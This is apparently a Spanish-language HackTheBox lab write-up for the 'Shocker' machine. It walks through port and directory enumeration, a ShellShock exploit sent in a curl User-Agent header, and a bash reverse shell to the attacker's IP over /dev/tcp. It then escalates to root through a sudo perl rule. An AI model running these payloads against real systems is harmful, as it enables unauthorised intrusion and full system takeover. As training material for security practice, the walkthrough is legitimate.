> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Writeup de Shocker en HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Habilidades:**

* Ataque ShellShock (User-Agent)
* Abusar del privilegio Sudoers (Perl)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/a84abd7ba655083833c54c553bdecf5017fc57b7" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/3733385068a6980c3d84a7f5b10d704c65e65ae8" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="/files/b2f561b332acaf4c8603fd77df6a84bc2e2cf47d" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Use la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80.2222)

<figure><img src="/files/bb8de9d31e2048e1c2ade3e828e8ab07ac30d97e" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="/files/3c2db4da3d9ff561131cd8afde2070aed3a9c8e9" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/b03717bb59062d46c466e19b32500e597eb5c5a4" alt=""><figcaption></figcaption></figure>

#### Enumeración de directorios

Usamos **WFuzz** para identificar directorios accesibles:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="/files/306430200bcc0e503e6dadcc55bca4a2acb6ca64" alt=""><figcaption></figcaption></figure>

Esto revela el **cgi-bin** directorio, a menudo asociado con scripts explotables.

## Vulnerabilidad ShellShock

#### Buscar archivos explotables

Filtramos por archivos con extensiones como `.sh`, `.pl`o `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

El **user.sh** se identifica el archivo. Este script parece dinámico y podría ser vulnerable.

<figure><img src="/files/02db6888a6dc5332a1d479f95052fb4c7373057a" alt=""><figcaption></figcaption></figure>

#### Detección de vulnerabilidad

Usamos el siguiente script de Nmap para probar la vulnerabilidad:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

El escaneo confirma que el **user.sh** archivo es vulnerable a ShellShock.

<figure><img src="/files/504c6870bc0f85d5446761d8abcf2e6653f9a719" alt=""><figcaption></figcaption></figure>

#### Cumplimiento de pedidos

Para probar la ejecución de comandos, usamos **curl** con un User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Esto devuelve el nombre de usuario activo.

<figure><img src="/files/aa30611d67a2fb9930504f07b14af4e1f88242d2" alt=""><figcaption></figcaption></figure>

#### Shell inversa

Para obtener una shell inversa:

1. Escucha en el puerto 443:

```bash
nc -nlvp 443
```

2. Inyecte la siguiente carga útil:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="/files/f96e754243126442458d6e9af33b81a2dfa31b92" alt=""><figcaption></figcaption></figure></div>

### Bandera user.txt :)

<figure><img src="/files/c16d841b2eec1781ccfbe8d99695dea60e83f898" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Sudoers - Perl

Al analizar **Sudoers** los permisos, notamos que el usuario tiene permiso para ejecutar `perl` como **root**. Esto puede verificarse con el siguiente comando:

```bash
sudo -l 
```

<figure><img src="/files/ff8797286c353827fe19393f049041d8e0c4e9d0" alt=""><figcaption></figcaption></figure>

#### Explotación

Para explotar esta configuración y obtener una shell con privilegios de root, simplemente inyecte el siguiente comando:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="/files/1f9558c958818aa49001a7897789106d1fde9f03" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/99141764ad18d4daf22582215463f4b16a4a9128" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/8eed6c60d336f0605eb15dff782d6b74daddb13f" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
